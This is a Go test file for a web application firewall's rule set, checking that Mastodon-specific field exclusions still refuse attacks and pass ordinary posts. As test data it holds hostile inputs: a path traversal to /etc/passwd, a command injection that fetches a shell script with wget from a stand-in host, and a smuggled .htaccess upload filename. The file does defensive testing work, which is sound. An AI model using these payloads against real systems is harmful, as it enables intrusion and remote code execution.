package coreruleset_test import ( "encoding/json" "fmt" "net/http" "net/url" "slices" "testing" ) // mastodonThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. const mastodonThreshold = 5 // mastodonStatuses is where Mastodon's apps and web app post. const mastodonStatuses = "/api/v1/statuses" // mastodonInbox is a Mastodon account's inbox, which other servers deliver // to. const mastodonInbox = "/users/admin/inbox" // Mastodon's paths for editing a profile, for filters, for the server's // rules and its name, for signing in, and for signing up or changing the // password. const ( mastodonProfile = "/api/v1/accounts/update_credentials" mastodonFilters = "/api/v2/filters" mastodonRules = "/admin/rules" mastodonBranding = "/admin/settings/branding" mastodonSignIn = "/auth/sign_in" mastodonAccount = "/auth" ) // Fields, as the start of a form body: a title, a comment, a password and a // post's text. const ( mastodonTitle = "title=" mastodonComment = "comment=" mastodonPassword = "user[password]=" mastodonStatus = "status=" ) func TestOrdinaryMastodonRequestsPass(t *testing.T) { t.Parallel() wantRecordedRequestsPass(t, "mastodon-requests.txt") } // mastodonQueryFields sends each field that skips 930120, 932120, 932250 // and 932260 in the query, on a path where it skips them, ending in "=". // //nolint:gochecknoglobals // a constant cannot be a list var mastodonQueryFields = []string{ "/api/v1/accounts/search?q=", "/api/v1/accounts/lookup?acct=", "/api/v1/admin/accounts?username=", "/api/v1/admin/accounts?display_name=", "/api/v1/admin/accounts?email=", "/api/v2/admin/accounts?origin=local&username=", "/api/v2/admin/accounts?by_domain=", "/admin/accounts?username=", "/admin/accounts?display_name=", "/admin/accounts?email=", "/admin/instances?by_domain=", "/admin/custom_emojis?shortcode=", "/admin/tags?name=", "/search?q=", } // mastodonSearch is Mastodon's search, ending in "=". Only its hard values // are checked: gitea.conf's search of a repository matches it too, and lets // attacks through there, as // https://git.eeqj.de/sneak/smallwebwaf/issues/266 says. // //nolint:gochecknoglobals // a constant cannot be a list var mastodonSearch = []string{ "/api/v2/search?q=", "/api/v2/search?type=accounts&resolve=true&q=", } // mastodonBodyField is a field of a body, sent to a path with a method. type mastodonBodyField struct{ method, target, field string } // mastodonFormFields sends each field that skips the four rules in a form // data body, on a path where it skips them. // //nolint:gochecknoglobals // a constant cannot be a list var mastodonFormFields = []mastodonBodyField{ {http.MethodPost, mastodonStatuses, "spoiler_text="}, {http.MethodPost, mastodonStatuses, "poll[options][]="}, {http.MethodPut, "/api/v1/media/1", "description="}, {http.MethodPatch, mastodonProfile, "display_name="}, {http.MethodPatch, mastodonProfile, "note="}, {http.MethodPatch, mastodonProfile, "fields_attributes[0][name]="}, {http.MethodPatch, mastodonProfile, "fields_attributes[1][value]="}, {http.MethodPost, "/api/v1/lists", mastodonTitle}, {http.MethodPut, "/api/v1/lists/1", mastodonTitle}, {http.MethodPost, mastodonFilters, mastodonTitle}, {http.MethodPost, mastodonFilters, "keywords_attributes[][keyword]="}, {http.MethodPost, mastodonFilters, "keywords_attributes[0][keyword]="}, {http.MethodPost, mastodonFilters + "/1/keywords", "keyword="}, {http.MethodPost, "/api/v1/featured_tags", "name="}, {http.MethodPost, "/api/v1/reports", mastodonComment}, {http.MethodPost, "/api/v1/accounts/1/note", mastodonComment}, {http.MethodPost, "/api/v1/admin/accounts/1/action", "text="}, {http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="}, {http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="}, {http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment}, {http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="}, {http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="}, {http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="}, {http.MethodPost, mastodonRules, "rule[text]="}, {http.MethodPost, mastodonRules, "rule[hint]="}, {http.MethodPost, "/admin/announcements", "announcement[text]="}, {http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="}, {http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="}, { http.MethodPost, "/admin/settings/about", "form_admin_settings[site_extended_description]=", }, {http.MethodPost, "/filters", "custom_filter[title]="}, {http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="}, {http.MethodPost, "/settings/applications", "doorkeeper_application[name]="}, {http.MethodPost, "/settings/applications", "doorkeeper_application[website]="}, {http.MethodPost, "/settings/aliases", "account_alias[acct]="}, {http.MethodPost, "/settings/migration", "account_migration[acct]="}, {http.MethodPost, mastodonSignIn, mastodonPassword}, {http.MethodPost, mastodonAccount, mastodonPassword}, {http.MethodPost, mastodonAccount, "user[password_confirmation]="}, {http.MethodPost, mastodonAccount, "user[current_password]="}, } // mastodonJSONFields sends each field that skips the four rules in a JSON // body, on a path where it skips them, with %s for its value. // //nolint:gochecknoglobals // a constant cannot be a list var mastodonJSONFields = []mastodonBodyField{ {http.MethodPost, mastodonStatuses, `{"spoiler_text":%s}`}, {http.MethodPost, mastodonStatuses, `{"poll":{"options":["Yes",%s]}}`}, {http.MethodPut, mastodonFilters + "/1", `{"title":%s}`}, {http.MethodPost, "/inbox", `{"object":{"content":%s}}`}, {http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`}, {http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`}, {http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`}, {http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`}, {http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`}, {http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`}, {http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`}, {http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`}, } // mastodonStatusForms and mastodonStatusJSON send a post's text, which // skips 932125, 932230 and 932235 too: in form data, and in JSON with %s // for its value. // //nolint:gochecknoglobals // a constant cannot be a list var ( mastodonStatusForms = []mastodonBodyField{ {http.MethodPost, mastodonStatuses, mastodonStatus}, {http.MethodPut, mastodonStatuses + "/1", mastodonStatus}, } mastodonStatusJSON = []mastodonBodyField{ {http.MethodPost, mastodonStatuses, `{"status":%s}`}, {http.MethodPut, mastodonStatuses + "/1", `{"status":%s}`}, } ) // inspectForm returns what crs finds in value, sent in sent's form data // field. func inspectForm(t *testing.T, sent mastodonBodyField, value string) int { t.Helper() r := request{sent.method, sent.target, []string{formData}} got, _ := inspectBody(t, readingBodies(t), r, sent.field+value) return got.Score } // inspectJSON returns what crs finds in value, which is not escaped, sent // in sent's JSON field. func inspectJSON(t *testing.T, sent mastodonBodyField, value string) int { t.Helper() quoted, err := json.Marshal(value) if err != nil { t.Fatal(err) } r := request{sent.method, sent.target, []string{jsonBody}} got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted)) return got.Score } // mastodonAttacks are an SQL injection, a path traversal and a script // injection, as a query value. // //nolint:gochecknoglobals // a constant cannot be a list var mastodonAttacks = []string{ sqlInjection, "..%2F..%2F..%2Fetc%2Fpasswd", scriptInjection, } func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) { t.Parallel() crs := atDefaults(t) for _, attack := range mastodonAttacks { for _, target := range mastodonQueryFields { got := inspect(t, crs, get(target+attack)) if got.Score < mastodonThreshold { t.Errorf("%s%s let through: %+v", target, attack, got) } } for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) { if inspectForm(t, sent, attack) < mastodonThreshold { t.Errorf("%v with %s let through", sent, attack) } } value, err := url.QueryUnescape(attack) if err != nil { t.Fatal(err) } for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) { if inspectJSON(t, sent, value) < mastodonThreshold { t.Errorf("%v with %q let through", sent, value) } } } } // mastodonCommandAttack is a shell command that only 932230 and 932235 // refuse on the fields that skip the four rules. const mastodonCommandAttack = "; wget http://example.com/x.sh" func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) { t.Parallel() crs := atDefaults(t) attack := url.QueryEscape(mastodonCommandAttack) for _, target := range mastodonQueryFields { if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold { t.Errorf("%s%s let through: %+v", target, attack, got) } } for _, sent := range mastodonFormFields { if inspectForm(t, sent, attack) < mastodonThreshold { t.Errorf("%v let through", sent) } } for _, sent := range mastodonJSONFields { if inspectJSON(t, sent, mastodonCommandAttack) < mastodonThreshold { t.Errorf("%v let through", sent) } } } // mastodonCodePost is a post that names commands in code, as recorded. const mastodonCodePost = "Today I learned: `ls -la ~/.config` lists hidden files, " + "and `python3 -m http.server` serves a folder. https://example.org/notes" func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) { t.Parallel() crs := readingBodies(t) for _, value := range hardValues { for _, target := range slices.Concat(mastodonQueryFields, mastodonSearch) { got := inspect(t, crs, get(target+value)) if got.Score >= mastodonThreshold { t.Errorf("%s%s refused: %+v", target, value, got) } } for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) { if inspectForm(t, sent, value) >= mastodonThreshold { t.Errorf("%v with %s refused", sent, value) } } unescaped, err := url.QueryUnescape(value) if err != nil { t.Fatal(err) } for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) { if inspectJSON(t, sent, unescaped) >= mastodonThreshold { t.Errorf("%v with %q refused", sent, unescaped) } } } code := url.QueryEscape(mastodonCodePost) for _, sent := range mastodonStatusForms { if inspectForm(t, sent, code) >= mastodonThreshold { t.Errorf("%v refused", sent) } } for _, sent := range mastodonStatusJSON { if inspectJSON(t, sent, mastodonCodePost) >= mastodonThreshold { t.Errorf("%v refused", sent) } } } // mastodonUpload is a file named .htaccess in a multipart body. const mastodonUpload = "--b\r\nContent-Disposition: form-data; name=\"file\"; " + "filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n" // mastodonActivityPub is the Accept header of a server fetching a post. const mastodonActivityPub = `Accept: application/ld+json; ` + `profile="https://www.w3.org/ns/activitystreams", application/activity+json` func TestMastodonExclusionsAreNarrow(t *testing.T) { t.Parallel() crs := atDefaults(t) for _, refused := range []string{ "/?q=powershell", "/api/v2/search?other=python3", "/api/v1/timelines/home?q=python3", "/api/v1/admin/users?username=python3", "/admin/people?username=python3", "/admin/reports?username=python3", "/search/other?q=python3", "/x/api/v2/search?q=python3", "/admin/accounts/1?username=python3", } { if got := inspect(t, crs, get(refused)); got.Score < mastodonThreshold { t.Errorf("%s let through: %+v", refused, got) } } // The Accept header of ActivityPub is still refused off the paths of // Mastodon's accounts. wantResult(t, crs, get("/", mastodonActivityPub), matched(920600)) wantResult(t, crs, get("/users/admin/statuses/1", mastodonActivityPub), matched()) crs = readingBodies(t) upload := request{ http.MethodPost, "/upload", []string{"Content-Type: multipart/form-data; boundary=b"}, } got, _ := inspectBody(t, crs, upload, mastodonUpload) if got.Score < mastodonThreshold { t.Errorf("POST %s let through: %+v", upload.target, got) } for _, target := range []string{"/api/v1/media", "/api/v2/media", mastodonProfile} { upload.target = target got, _ := inspectBody(t, crs, upload, mastodonUpload) if got.Score >= mastodonThreshold { t.Errorf("POST %s refused: %+v", target, got) } } // The fields are excluded only on Mastodon's paths. for _, sent := range []mastodonBodyField{ {http.MethodPost, "/api/v1/repos/issues", mastodonTitle}, {http.MethodPost, "/user/login", mastodonPassword}, {http.MethodPost, "/comments", mastodonStatus}, } { if inspectForm(t, sent, "python3") < mastodonThreshold { t.Errorf("%v let through", sent) } } for _, sent := range []mastodonBodyField{ {http.MethodPost, "/outbox", `{"object":{"content":%s}}`}, {http.MethodPost, mastodonInbox, `{"object":{"url":%s}}`}, } { if inspectJSON(t, sent, "python3") < mastodonThreshold { t.Errorf("%v let through", sent) } } } func TestMastodonBodyFieldsStayCheckedInTheQuery(t *testing.T) { t.Parallel() crs := readingBodies(t) // The same field name in the query keeps the rules, in the query and // in the body. for _, sent := range []struct{ target, field string }{ {mastodonStatuses, mastodonStatus + "python3"}, {mastodonStatuses, "spoiler_text=python3"}, {mastodonRules, "rule[text]=python3"}, {mastodonSignIn, mastodonPassword + "python3"}, {mastodonInbox, "json.object.content=python3"}, } { target := sent.target + "?" + sent.field r := request{http.MethodPost, target, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field) if got.Score < mastodonThreshold { t.Errorf("POST %s let through: %+v", r.target, got) } } }